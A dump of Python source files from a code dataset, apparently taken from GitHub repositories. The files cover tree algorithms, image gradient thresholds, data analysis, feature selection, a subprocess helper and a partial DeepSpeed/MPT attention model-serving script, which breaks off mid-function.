loaded')\n","repo_name":"idavidmarshali/husk","sub_path":"cogs/slashcommands.py","file_name":"slashcommands.py","file_ext":"py","file_size_in_byte":11764,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"338532010","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def recoverTree(self, root):\n        \"\"\"\n        :type root: TreeNode\n        :rtype: void Do not return anything, modify root in-place instead.\n        \"\"\"\n        self.order = []\n        self.prev = None\n        self.inorder(root)\n        if len(self.order) == 2:\n            self.swap(self.order[0][0], self.order[1][1])\n        elif len(self.order) == 1:\n            self.swap(self.order[0][0], self.order[0][1])\n        return\n    \n    def inorder(self, root):\n        if root == None:\n            return\n        self.inorder(root.left)\n        if self.prev and self.prev.val > root.val:\n            self.order.append((self.prev, root))\n        self.prev = root\n        self.inorder(root.right)\n        return\n    \n    def swap(self, r1, r2):\n        r1.val, r2.val = r2.val, r1.val\n        return","repo_name":"zyx990426/DailyChallenge","sub_path":"4.18_RecoverBST_99.py","file_name":"4.18_RecoverBST_99.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"8121740290","text":"import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\nclass ImageProcessor:\n\n    def abs_sobel_thresh(self, gray, orient='x', sobel_kernel=3, thresh=(0, 255)):\n        if orient == 'x':\n            abs_sobel = np.absolute(cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel))\n        if orient == 'y':\n            abs_sobel = np.absolute(cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel))\n        # Rescale back to 8 bit integer\n        scaled_sobel = np.uint8(255*abs_sobel/np.max(abs_sobel))\n        # Create a copy and apply the threshold\n        grad_binary = np.zeros_like(scaled_sobel)\n        # Here I'm using inclusive (>=, <=) thresholds, but exclusive is ok too\n        grad_binary[(scaled_sobel >= thresh[0]) & (scaled_sobel <= thresh[1])] = 1\n\n        return grad_binary\n\n    def mag_thresh(self, gray, sobel_kernel=3, thresh=(0, 255)):\n        # Take both Sobel x and y gradients\n        sobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n        sobely = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\n        # Calculate the gradient magnitude\n        gradmag = np.sqrt(sobelx**2 + sobely**2)\n        # Rescale to 8 bit\n        scale_factor = np.max(gradmag)/255\n        gradmag = (gradmag/scale_factor).astype(np.uint8)\n        # Create a binary image of ones where threshold is met, zeros otherwise\n        mag_binary = np.zeros_like(gradmag)\n        mag_binary[(gradmag >= thresh[0]) & (gradmag <= thresh[1])] = 1\n\n        return mag_binary\n\n    def dir_threshold(self, gray, sobel_kernel=3, thresh=(0, np.pi/2)):\n        # Calculate the x and y gradients\n        sobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n        sobely = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\n        # Take the absolute value of the gradient direction, \n        # apply a threshold, and create a binary image result\n\n        absgraddir = np.arctan2(np.absolute(sobely), np.absolute(sobelx))\n        dir_binary =  np.zeros_like(absgraddir)\n        dir_binary[(absgraddir >= thresh[0]) & (absgraddir <= thresh[1])] = 1\n\n        return dir_binary\n\n","repo_name":"srbhuyan/sdcn_p4_advanced_lane_lines","sub_path":"image_processor.py","file_name":"image_processor.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"9635180021","text":"import time\nimport sys\n\n\ns, m, h = 0, 0, 0\n\nwhile True:\n    time.sleep(1)\n    s += 1\n    if s % 60 == 0:\n        s = 0\n        m += 1\n    if m % 60 == 0:\n        m = 0\n        h = 0\n    sys.stdout.flush()\n    sys.stdout.write(f\"\\r{h:0>2}H {m:0>2}M {s:0>2}S\")\n\n","repo_name":"nomnomnonono/Python-App","sub_path":"StopWatch/StopWatch.py","file_name":"StopWatch.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29534764527","text":"get_ipython().magic('matplotlib inline')\n\nimport glob\nimport os\nimport json\nfrom pathlib import Path\nfrom pandas import Series, DataFrame\nimport pandas as pd\n\np = Path(os.getcwd())\nbusiness_path = str(p.parent) + '/data/yelp_training_set/yelp_training_set_business.json'\n\nimport re\n\ndf = pd.DataFrame(columns=['city', 'street', 'type', 'count'])\nplay_keywords = ['Bars', 'Nightlife']\nwith open(business_path, 'r', encoding='utf-8', errors='ignore') as f:\n    for line in f:\n        data = json.loads(line)\n        review_count = data['review_count']\n        stars = data['stars']\n        if review_count < 10 or stars < 4.0:\n            continue\n        address = data['full_address'].split('\\n')\n        if not re.match(r'^[0-9]', address[0]):\n            continue\n        city = address[-1].split(',')[0]\n        street = ' '.join(address[0].split(' ')[1:])\n        categories = data['categories']\n        if 'Restaurants' in categories:\n            df = df.append(Series({'city': city, 'street': street, 'type': 'restaurant', 'count': 1}), ignore_index=True)\n        if not set(play_keywords).isdisjoint(categories):\n            df = df.append(Series({'city': city, 'street': street, 'type': 'nightlife', 'count': 1}), ignore_index=True)\n        if 'Restaurants' not in categories and set(play_keywords).isdisjoint(categories):\n            df = df.append(Series({'city': city, 'street': street, 'type': 'other', 'count': 1}), ignore_index=True)\ndf.head(5)\n\ntotal_df = df.groupby(['city', 'street']).sum().reset_index()\ntotal_df.head(5)\n\nprofitable = total_df.groupby(['city']).max().reset_index()\nprofitable.head(5)\n\nprofitable.to_csv('ana_4/profitable_streets_in_AZ.csv', index = False, header = True)\n\nrestaurant_df = df[df['type'] == 'restaurant']\nrestaurant_df = restaurant_df.groupby(['city', 'street']).sum().reset_index().groupby(['city']).max().reset_index()\nrestaurant_df.head(5)\n\nrestaurant_df.to_csv('ana_4/restaurant_streets_in_AZ.csv', index = False, header = True)\n\nnightlife_df = df[df['type'] == 'nightlife']\nnightlife_df = nightlife_df.groupby(['city', 'street']).sum().reset_index().groupby(['city']).max().reset_index()\nnightlife_df.to_csv('ana_4/nightlife_streets_in_AZ.csv', index = False, header = True)\nnightlife_df.head(5)\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/Ana_4.py","file_name":"Ana_4.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"34386515688","text":"import pandas as pd \nimport numpy as np\nfrom sklearn.feature_selection import SelectKBest, RFE, f_regression \nfrom sklearn.linear_model import LinearRegression\n\ndef select_kbest(X_train_scaled, y_train, k):\n    '''\n    Takes in the predictors (X_train_scaled), the target (y_train), \n    and the number of features to select (k) \n    and returns the names of the top k selected features based on the SelectKBest class\n    '''\n    f_selector = SelectKBest(f_regression, k)\n    f_selector = f_selector.fit(X_train_scaled, y_train)\n    X_train_reduced = f_selector.transform(X_train_scaled)\n    f_support = f_selector.get_support()\n    f_feature = X_train_scaled.iloc[:,f_support].columns.tolist()\n    return f_feature\n\ndef rfe(X_train_scaled, y_train, k):\n    '''\n    Takes in the predictor (X_train_scaled), the target (y_train), \n    and the number of features to select (k).\n    Returns the top k features based on the RFE class.\n    '''\n    lm = LinearRegression()\n    rfe = RFE(lm, k)\n    # Transforming data using RFE\n    X_rfe = rfe.fit_transform(X_train_scaled, y_train)\n    #Fitting the data to model\n    lm.fit(X_rfe,y_train)\n    mask = rfe.support_\n    rfe_features = X_train_scaled.loc[:,mask].columns.tolist()\n    return rfe_features","repo_name":"Estimating-Home-Value/Predicting-Tax-Assessed-Home-Values","sub_path":"features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"37762745446","text":"from utils.file_handler import FileHandler\n\n\nclass AccountingMistakeFinder:\n    def __init__(self, entries: list, sum_number: int):\n        self.sum_number = sum_number\n        self.accounting_entries = entries\n\n    def find_equal(self, idx, value, sum_triple=False):\n        for second_idx, entry in enumerate(self.accounting_entries[idx+1:]):\n            if sum_triple:\n                for third_idx, third_entry in enumerate(self.accounting_entries[second_idx+1:]):\n                    if entry + value + third_entry == self.sum_number:\n                        return entry * third_entry\n            else:\n                if entry + value == self.sum_number:\n                    return entry\n        return None\n\n    def find_the_triple(self):\n        for idx, entry in enumerate(self.accounting_entries):\n            second_entry = self.find_equal(idx, entry, True)\n            if second_entry:\n                return entry * second_entry\n\n    def find_the_dues(self):\n        for idx, entry in enumerate(self.accounting_entries):\n            second_entry = self.find_equal(idx, entry)\n            if second_entry:\n                return entry * second_entry\n\n\nif __name__ == \"__main__\":\n    file_handler = FileHandler(\"input.txt\")\n    file_handler.load_int()\n    find_it = AccountingMistakeFinder(file_handler.file_lines, 2020)\n    print(\"The two numbers equal: {}\".format(find_it.find_the_dues()))\n    print(\"The three numbers equal: {}\".format(find_it.find_the_triple()))\n","repo_name":"teddelin/advent-of-code","sub_path":"2020-01/find_2020.py","file_name":"find_2020.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"20603692681","text":"import subprocess\n\n\ndef sys_call(cmd_str, shell=True, suppress_errors=True, print_stdout=False):\n    proc = subprocess.Popen(\n        cmd_str, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE,\n        shell=shell\n    )\n\n    if print_stdout:\n        while True:\n            line = proc.stdout.readline()\n            if not line:\n                break\n            print(line.decode())\n            line_err = proc.stderr.readline()\n            if line_err:\n                print(line_err.decode())\n\n    return proc.stdout.read().decode(), proc.stderr.read().decode()\n","repo_name":"martinfc/gcp-hashi-cluster","sub_path":"utilities/py_utilities/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"15525925001","text":"import logging\nimport transformers\nimport sys\nlogging.basicConfig(format='%(message)s')\nlog = logging.getLogger(__name__)\nimport os\nimport deepspeed\nimport sys\nsys.stderr.write(\"*************************************************************************\")\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(os.path.dirname(SCRIPT_DIR))\n\nimport time\nimport json\nimport uuid\nfrom argparse import ArgumentParser\nfrom transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig\nimport termcolor\nimport torch\nimport transformers\nfrom flask import jsonify\nimport kserve\nfrom typing import Dict\n#from blocks import MPTBlock\n#from .attention import ATTN_CLASS_REGISTRY\n\nfrom dotenv import load_dotenv\nimport math\nimport warnings\nfrom typing import Optional\nimport torch\nimport torch.nn as nn\nfrom einops import rearrange\nfrom torch import nn\n\nload_dotenv()\nHF_ACCESS_TOKEN = os.getenv('HF_ACCESS_TOKEN')\n\nAPI_KEY = \"your_api_key_here\"\nglobal world_size\nworld_size = int(os.getenv('WORLD_SIZE', '4'))\n#deepspeed.init_distributed(dist_backend=\"mpi\")\n\nfrom typing import Dict, Optional, Tuple\nimport torch\nimport torch.nn as nn\n#from .attention import ATTN_CLASS_REGISTRY\ndef _cast_if_autocast_enabled(tensor):\n    if torch.is_autocast_enabled():\n        if tensor.device.type == 'cuda':\n            dtype = torch.get_autocast_gpu_dtype()\n        elif tensor.device.type == 'cpu':\n            dtype = torch.get_autocast_cpu_dtype()\n        else:\n            raise NotImplementedError()\n        return tensor.to(dtype=dtype)\n    return tensor\n\nclass LPLayerNorm(torch.nn.LayerNorm):\n\n    def __init__(self, normalized_shape, eps=1e-05, elementwise_affine=True, device=None, dtype=None):\n        super().__init__(normalized_shape=normalized_shape, eps=eps, elementwise_affine=elementwise_affine, device=device, dtype=dtype)\n\n    def forward(self, x):\n        module_device = x.device\n        downcast_x = _cast_if_autocast_enabled(x)\n        downcast_weight = _cast_if_autocast_enabled(self.weight) if self.weight is not None else self.weight\n        downcast_bias = _cast_if_autocast_enabled(self.bias) if self.bias is not None else self.bias\n        with torch.autocast(enabled=False, device_type=module_device.type):\n            return torch.nn.functional.layer_norm(downcast_x, self.normalized_shape, downcast_weight, downcast_bias, self.eps)\n\ndef rms_norm(x, weight=None, eps=1e-05):\n    output = x / torch.rsqrt(x.pow(2).mean(-1, keepdim=True) + eps)\n    if weight is not None:\n        return output * weight\n    return output\n\n\nclass RMSNorm(torch.nn.Module):\n\n    def __init__(self, normalized_shape, eps=1e-05, weight=True, dtype=None, device=None):\n        super().__init__()\n        self.eps = eps\n        if weight:\n            self.weight = torch.nn.Parameter(torch.ones(normalized_shape, dtype=dtype, device=device))\n        else:\n            self.register_parameter('weight', None)\n\n    def forward(self, x):\n        return rms_norm(x.float(), self.weight, self.eps).to(dtype=x.dtype)\n\nclass LPRMSNorm(RMSNorm):\n\n    def __init__(self, normalized_shape, eps=1e-05, weight=True, dtype=None, device=None):\n        super().__init__(normalized_shape=normalized_shape, eps=eps, weight=weight, dtype=dtype, device=device)\n\n    def forward(self, x):\n        downcast_x = _cast_if_autocast_enabled(x)\n        downcast_weight = _cast_if_autocast_enabled(self.weight) if self.weight is not None else self.weight\n        with torch.autocast(enabled=False, device_type=x.device.type):\n            return rms_norm(downcast_x, downcast_weight, self.eps).to(dtype=x.dtype)\n\n\n\n#from .norm import NORM_CLASS_REGISTRY\nNORM_CLASS_REGISTRY = {'layernorm': torch.nn.LayerNorm, 'low_precision_layernorm': LPLayerNorm, 'rmsnorm': RMSNorm, 'low_precision_rmsnorm': LPRMSNorm}\nclass MPTMLP(nn.Module):\n\n    def __init__(self, d_model: int, expansion_ratio: int, device: Optional[str]=None):\n        super().__init__()\n        self.up_proj = nn.Linear(d_model, expansion_ratio * d_model, device=device)\n        self.act = nn.GELU(approximate='none')\n        self.down_proj = nn.Linear(expansion_ratio * d_model, d_model, device=device)\n        self.down_proj._is_residual = True\n\n    def forward(self, x):\n        return self.down_proj(self.act(self.up_proj(x)))\n    \n\nclass MPTBlock(nn.Module):\n\n    def __init__(self, d_model: int, n_heads: int, expansion_ratio: int, attn_config: Dict={'attn_type': 'multihead_attention', 'attn_pdrop': 0.0, 'attn_impl': 'triton', 'qk_ln': False, 'clip_qkv': None, 'softmax_scale': None, 'prefix_lm': False, 'attn_uses_sequence_id': False, 'alibi': False, 'alibi_bias_max': 8}, resid_pdrop: float=0.0, norm_type: str='low_precision_layernorm', verbose: int=0, device: Optional[str]=None, **kwargs):\n        del kwargs\n        super().__init__()\n        norm_class = NORM_CLASS_REGISTRY[norm_type.lower()]\n        attn_class = ATTN_CLASS_REGISTRY[attn_config['attn_type']]\n        self.norm_1 = norm_class(d_model, device=device)\n        self.attn = attn_class(attn_impl=attn_config['attn_impl'], clip_qkv=attn_config['clip_qkv'], qk_ln=attn_config['qk_ln'], softmax_scale=attn_config['softmax_scale'], attn_pdrop=attn_config['attn_pdrop'], d_model=d_model, n_heads=n_heads, verbose=verbose, device=device)\n        self.norm_2 = norm_class(d_model, device=device)\n        self.ffn = MPTMLP(d_model=d_model, expansion_ratio=expansion_ratio, device=device)\n        self.resid_attn_dropout = nn.Dropout(resid_pdrop)\n        self.resid_ffn_dropout = nn.Dropout(resid_pdrop)\n\n    def forward(self, x: torch.Tensor, past_key_value: Optional[Tuple[torch.Tensor]]=None, attn_bias: Optional[torch.Tensor]=None, attention_mask: Optional[torch.ByteTensor]=None, is_causal: bool=True) -> Tuple[torch.Tensor, Optional[Tuple[torch.Tensor]]]:\n        a = self.norm_1(x)\n        (b, _, past_key_value) = self.attn(a, past_key_value=past_key_value, attn_bias=attn_bias, attention_mask=attention_mask, is_causal=is_causal)\n        x = x + self.resid_attn_dropout(b)\n        m = self.norm_2(x)\n        n = self.ffn(m)\n        x = x + self.resid_ffn_dropout(n)\n        return (x, past_key_value)\n\n\ndef _reset_is_causal(num_query_tokens: int, num_key_tokens: int, original_is_causal: bool):\n    if original_is_causal and num_query_tokens != num_key_tokens:\n        if num_query_tokens != 1:\n            raise NotImplementedError('MPT does not support query and key with different number of tokens, unless number of query tokens is 1.')\n        else:\n            return False\n    return original_is_causal\n\ndef scaled_multihead_dot_product_attention(query, key, value, n_heads, softmax_scale=None, attn_bias=None, key_padding_mask=None, is_causal=False, dropout_p=0.0, training=False, needs_weights=False, multiquery=False):\n    q = rearrange(query, 'b s (h d) -> b h s d', h=n_heads)\n    k = rearrange(key, 'b s (h d) -> b h d s', h=1 if multiquery else n_heads)\n    v = rearrange(value, 'b s (h d) -> b h s d', h=1 if multiquery else n_heads)\n    min_val = torch.finfo(q.dtype).min\n    (b, _, s_q, d) = q.shape\n    s_k = k.size(-1)\n    if softmax_scale is None:\n        softmax_scale = 1 / math.sqrt(d)\n    attn_weight = q.matmul(k) * softmax_scale\n    if attn_bias is not None:\n        if attn_bias.size(-1) != 1 and attn_bias.size(-1) != s_k or (attn_bias.size(-2) != 1 and attn_bias.size(-2) != s_q):\n            raise RuntimeError(f'attn_bias (shape: {attn_bias.shape}) is expected to broadcast to shape: {attn_weight.shape}.')\n        attn_weight = attn_weight + attn_bias\n    if key_padding_mask is not None:\n        if attn_bias is not None:\n            warnings.warn('Propogating key_padding_mask to the attention module ' + 'and applying it within the attention module can cause ' + 'unneccessary computation/memory usage. Consider integrating ' + 'into attn_bias once and passing that to each attention ' + 'module instead.')\n        attn_weight = attn_weight.masked_fill(~key_padding_mask.view((b, 1, 1, s_k)), min_val)\n    if is_causal:\n        s = max(s_q, s_k)\n        causal_mask = attn_weight.new_ones(s, s, dtype=torch.float16)\n        causal_mask = causal_mask.tril()\n        causal_mask = causal_mask.to(torch.bool)\n        causal_mask = ~causal_mask\n        causal_mask = causal_mask[-s_q:, -s_k:]\n        attn_weight = attn_weight.masked_fill(causal_mask.view(1, 1, s_q, s_k), min_val)\n    attn_weight = torch.softmax(attn_weight, dim=-1)\n    if dropout_p:\n        attn_weight = torch.nn.functional.dropout(attn_weight, p=dropout_p, training=training, inplace=True)\n    out = attn_weight.matmul(v)\n    out = rearrange(out, 'b h s d -> b s (h d)')\n    if needs_weights:\n        return (out, attn_weight)\n    return (out, None)\n\ndef check_valid_inputs(*tensors, valid_dtypes=[torch.float16, torch.bfloat16]):\n    for tensor in tensors:\n        if tensor.dtype not in valid_dtypes:\n            raise TypeError(f'tensor.dtype={tensor.dtype!r} must be in valid_dtypes={valid_dtypes!r}.')\n        if not tensor.is_cuda:\n            raise TypeError(f'Inputs must be cuda tensors (tensor.is_cuda={tensor.is_cuda!r}).')\n\ndef flash_attn_fn(query, key, value, n_heads, softmax_scale=None, attn_bias=None, key_padding_mask=None, is_causal=False, dropout_p=0.0, training=False, needs_weights=False, multiquery=False):\n    try:\n        from flash_attn import bert_padding, flash_attn_interface\n    except:\n        raise RuntimeError('Please install flash-attn==1.0.3.post0')\n    check_valid_inputs(query, key, value)\n    if attn_bias is not None:\n        raise NotImplementedError(f'attn_bias not implemented for flash attn.')\n    (batch_size, seqlen) = query.shape[:2]\n    if key_padding_mask is None:\n        key_padding_mask = torch.ones_like(key[:, :, 0], dtype=torch.bool)\n    query_padding_mask = key_padding_mask[:, -query.size(1):]\n    (query_unpad, indices_q, cu_seqlens_q, max_seqlen_q) = bert_padding.unpad_input(query, query_padding_mask)\n    query_unpad = rearrange(query_unpad, 'nnz (h d) -> nnz h d', h=n_heads)\n    (key_unpad, _, cu_seqlens_k, max_seqlen_k) = bert_padding.unpad_input(key, key_padding_mask)\n    key_unpad = rearrange(key_unpad, 'nnz (h d) -> nnz h d', h=1 if multiquery else n_heads)\n    (value_unpad, _, _, _) = bert_padding.unpad_input(value, key_padding_mask)\n    value_unpad = rearrange(value_unpad, 'nnz (h d) -> nnz h d', h=1 if multiquery else n_heads)\n    if multiquery:\n        key_unpad = key_unpad.expand(key_unpad.size(0), n_heads, key_unpad.size(-1))\n        value_unpad = value_unpad.expand(value_unpad.size(0), n_heads, value_unpad.size(-1))\n    dropout_p = dropout_p if training else 0.0\n    reset_is_causal = _reset_is_causal(query.size(1), key.size(1), is_causal)\n    output_unpad = flash_attn_interface.flash_attn_unpadded_func(query_unpad, key_unpad, value_unpad, cu_seqlens_q, cu_seqlens_k, max_seqlen_q, max_seqlen_k, dropout_p, softmax_scale=softmax_scale, causal=reset_is_causal, return_attn_probs=needs_weights)\n    output = bert_padding.pad_input(rearrange(output_unpad, 'nnz h d -> nnz (h d)'), indices_q, batch_size, seqlen)\n    return (output, None)\n\ndef triton_flash_attn_fn(query, key, value, n_heads, softmax_scale=None, attn_bias=None, key_padding_mask=None, is_causal=False, dropout_p=0.0, training=False, needs_weights=False, multiquery=False):\n    try:\n        from flash_attn import flash_attn_triton\n    except:\n        raise RuntimeError('Please install flash-attn==1.0.3.post0 and triton==2.0.0.dev20221202')\n    check_valid_inputs(query, key, value)\n    if dropout_p:\n        raise NotImplementedError(f'Dropout not implemented for attn_impl: triton.')\n    if needs_weights:\n        raise NotImplementedError(f'attn_impl: triton cannot return attn weights.')\n    if key_padding_mask is not None:\n        warnings.warn('Propagating key_padding_mask to the attention module ' + 'and applying it within the attention module can cause ' + 'unnecessary computation/memory usage. Consider integrating ' + 'into attn_bias once and passing that to each attention ' + 'module instead.')\n        (b_size, s_k) = key_padding_mask.shape[:2]\n        if attn_bias is None:\n            attn_bias = query.new_zeros(b_size, 1, 1, s_k)\n        attn_bias = attn_bias.masked_fill(~key_padding_mask.view((b_size, 1, 1, s_k)), torch.finfo(query.dtype).min)\n    query = rearrange(query, 'b s (h d) -> b s h d', h=n_heads)\n    key = rearrange(key, 'b s (h d) -> b s h d', h=1 if multiquery else n_heads)\n    value = rearrange(value, 'b s (h d) -> b s h d', h=1 if multiquery else n_heads)\n    if multiquery:\n        key = key.expand(*key.shape[:2], n_heads, key.size(-1))\n        value = value.expand(*value.shape[:2], n_heads, value.size(-1))\n    reset_is_causal = _reset_is_causal(query.size(1), key.size(1), is_causal)\n    attn_output = flash_attn_triton.flash_attn_func(query, key, value, attn_bias, reset_is_causal, softmax_scale)\n    output = attn_output.view(*attn_output.shape[:2], -1)\n    return (output, None)\n\n\n\nclass MultiheadAttention(nn.Module):\n    \"\"\"Multi-head self attention.\n    Using torch or triton attention implemetation enables user to also use\n    additive bias.\n    \"\"\"\n\n    def __init__(self, d_model: int, n_heads: int, attn_impl: str='triton', clip_qkv: Optional[float]=None, qk_ln: bool=False, softmax_scale: Optional[float]=None, attn_pdrop: float=0.0, low_precision_layernorm: bool=False, verbose: int=0, device: Optional[str]=None):\n        super().__init__()\n        self.attn_impl = attn_impl\n        self.clip_qkv = clip_qkv\n        self.qk_ln = qk_ln\n        self.d_model = d_model\n        self.n_heads = n_heads\n        self.softmax_scale = softmax_scale\n        if self.softmax_scale is None:\n            self.softmax_scale = 1 / math.sqrt(self.d_model / self.n_heads)\n        self.attn_dropout_p = attn_pdrop\n        self.Wqkv = nn.Linear(self.d_model, 3 * self.d_model, device=device)\n        fuse_splits = (d_model, 2 * d_model)\n        self.Wqkv._fused = (0, fuse_splits)\n        if self.qk_ln:\n            layernorm_class = LPLayerNorm if low_precision_layernorm else nn.LayerNorm\n            self.q_ln = layernorm_class(self.d_model, device=device)\n            self.k_ln = layernorm_class(self.d_model, device=device)\n        if self.attn_impl == 'flash':\n            self.attn_fn = flash_attn_fn\n        elif self.attn_impl == 'triton':\n            self.attn_fn = triton_flash_attn_fn\n            if verbose:\n                warnings.warn('While `attn_impl: triton` can be faster than `attn_impl: flash` ' + 'it uses more memory. When training larger models this can trigger ' + 'alloc retries which hurts performance. If encountered, we recommend ' + 'using `attn_impl: flash` if your model does not use `alibi` or `prefix_lm`.')\n        elif self.attn_impl == 'torch':\n            self.attn_fn = scaled_multihead_dot_product_attention\n            if torch.cuda.is_available() and verbose:\n                warnings.warn('Using `attn_impl: torch`. If your model does not use `alibi` or ' + '`prefix_lm` we recommend using `attn_impl: flash` otherwise ' + 'we recommend using `attn_impl: triton`.')\n        else:\n            raise ValueError(f'attn_impl={attn_impl!r} is an invalid setting.')\n        self.out_proj = nn.Linear(self.d_model, self.d_model, device=device)\n        self.out_proj._is_residual = True\n\n    def forward(self, x, past_key_value=None, attn_bias=None, attention_mask=None, is_causal=True, needs_weights=False):\n        qkv = self.Wqkv(x)\n        if self.clip_qkv:\n            qkv.clamp_(min=-self.clip_qkv, max=self.clip_qkv)\n        (query, key, value) = qkv.chunk(3, dim=2)\n        key_padding_mask = attention_mask\n        if self.qk_ln:\n            dtype = query.dtype\n            query = self.q_ln(query).to(dtype)\n            key = self.k_ln(key).to(dtype)\n        if past_key_value is not None:\n            if len(past_key_value) != 0:\n                key = torch.cat([past_key_value[0], key], dim=1)\n                value = torch.cat([past_key_value[1], value], dim=1)\n            past_key_value = (key, value)\n        if attn_bias is not None:\n            attn_bias = attn_bias[:, :, -query.size(1):, -key.size(1):]\n        (context, attn_weights) = self.attn_fn(query, key, value, self.n_heads, softmax_scale=self.softmax_scale, attn_bias=attn_bias, key_padding_mask=key_padding_mask, is_causal=is_causal, dropout_p=self.attn_dropout_p, training=self.training, needs_weights=needs_weights)\n        return (self.out_proj(context), attn_weights, past_key_value)\n\nclass MultiQueryAttention(nn.Module):\n    \"\"\"Multi-Query self attention.\n    Using torch or triton attention implemetation enables user to also use\n    additive bias.\n    \"\"\"\n\n    def __init__(self, d_model: int, n_heads: int, attn_impl: str='triton', clip_qkv: Optional[float]=None, qk_ln: bool=False, softmax_scale: Optional[float]=None, attn_pdrop: float=0.0, low_precision_layernorm: bool=False, verbose: int=0, device: Optional[str]=None):\n        super().__init__()\n        self.attn_impl = attn_impl\n        self.clip_qkv = clip_qkv\n        self.qk_ln = qk_ln\n        self.d_model = d_model\n        self.n_heads = n_heads\n        self.head_dim = d_model // n_heads\n        self.softmax_scale = softmax_scale\n        if self.softmax_scale is None:\n            self.softmax_scale = 1 / math.sqrt(self.head_dim)\n        self.attn_dropout_p = attn_pdrop\n        self.Wqkv = nn.Linear(d_model, d_model + 2 * self.head_dim, device=device)\n        fuse_splits = (d_model, d_model + self.head_dim)\n        self.Wqkv._fused = (0, fuse_splits)\n        if self.qk_ln:\n            layernorm_class = LPLayerNorm if low_precision_layernorm else nn.LayerNorm\n            self.q_ln = layernorm_class(d_model, device=device)\n            self.k_ln = layernorm_class(self.head_dim, device=device)\n        if self.attn_impl == 'flash':\n            self.attn_fn = flash_attn_fn\n        elif self.attn_impl == 'triton':\n            self.attn_fn = triton_flash_attn_fn\n            if verbose:\n                warnings.warn('While `attn_impl: triton` can be faster than `attn_impl: flash` ' + 'it uses more memory. When training larger models this can trigger ' + 'alloc retries which hurts performance. If encountered, we recommend ' + 'using `attn_impl: flash` if your model does not use `alibi` or `prefix_lm`.')\n        elif self.attn_impl == 'torch':\n            self.attn_fn = scaled_multihead_dot_product_attention\n            if torch.cuda.is_available() and verbose:\n                warnings.warn('Using `attn_impl: torch`. If your model does not use `alibi` or ' + '`prefix_lm` we recommend using `attn_impl: flash` otherwise ' + 'we recommend using `attn_impl: triton`.')\n        else:\n            raise ValueError(f'attn_impl={attn_impl!r} is an invalid setting.')\n        self.out_proj = nn.Linear(self.d_model, self.d_model, device=device)\n        self.out_proj._is_residual = True\n\n    def forward(self, x, past_key_value=None, attn_bias=None, attention_mask=None, is_causal=True, needs_weights=False):\n        qkv = self.Wqkv(x)\n        if self.clip_qkv:\n            qkv.clamp_(min=-self.clip_qkv, max=self.clip_qkv)\n        (query, key, value) = qkv.split([self.d_model, self.head_dim, self.head_dim], dim=2)\n        key_padding_mask = attention_mask\n        if self.qk_ln:\n            dtype = query.dtype\n            query = self.q_ln(query).to(dtype)\n            key = self.k_ln(key).to(dtype)\n        if past_key_value is not None:\n            if len(past_key_value) != 0:\n                key = torch.cat([past_key_value[0], key], dim=1)\n                value = torch.cat([past_key_value[1], value], dim=1)\n            past_key_value = (key, value)\n        if attn_bias is not None:\n            attn_bias = attn_bias[:, :, -query.size(1):, -key.size(1):]\n        (context, attn_weights) = self.attn_fn(query, key, value, self.n_heads, softmax_scale=self.softmax_scale, attn_bias=attn_bias, key_padding_mask=key_padding_mask, is_causal=is_causal, dropout_p=self.attn_dropout_p, training=self.training, needs_weights=needs_weights, multiquery=True)\n        return (self.out_proj(context), attn_weights, past_key_value)\n    \n\n\ndef attn_bias_shape(attn_impl, n_heads, seq_len, alibi, prefix_lm, causal, use_sequence_id):\n    if attn_impl == 'flash':\n        return None\n    elif attn_impl in ['torch', 'triton']:\n        if alibi:\n            if (prefix_lm or not causal) or use_sequence_id:\n                return (1, n_heads, seq_len, seq_len)\n            return (1, n_heads, 1, seq_len)\n        elif prefix_lm or use_sequence_id:\n            return (1, 1, seq_len, seq_len)\n        return None\n    else:\n        raise ValueError(f'attn_impl={attn_impl!r} is an invalid setting.')\n\ndef build_attn_bias(attn_impl, attn_bias, n_heads, seq_len, causal=False, alibi=False, alibi_bias_max=8):\n    if attn_impl == 'flash':\n        return None\n    elif attn_impl in ['torch', 'triton']:\n        if alibi:\n            (device, dtype) = (attn_bias.device, attn_bias.dtype)\n            attn_bias = attn_bias.add(build_alibi_bias(n_heads, seq_len, full=not causal, alibi_bias_max=alibi_bias_max, device=device, dtype=dtype))\n        return attn_bias\n    else:\n        raise ValueError(f'attn_impl={attn_impl!r} is an invalid setting.')\n\ndef gen_slopes(n_heads, alibi_bias_max=8, device=None):\n    _n_heads = 2 ** math.ceil(math.log2(n_heads))\n    m = torch.arange(1, _n_heads + 1, dtype=torch.float32, device=device)\n    m = 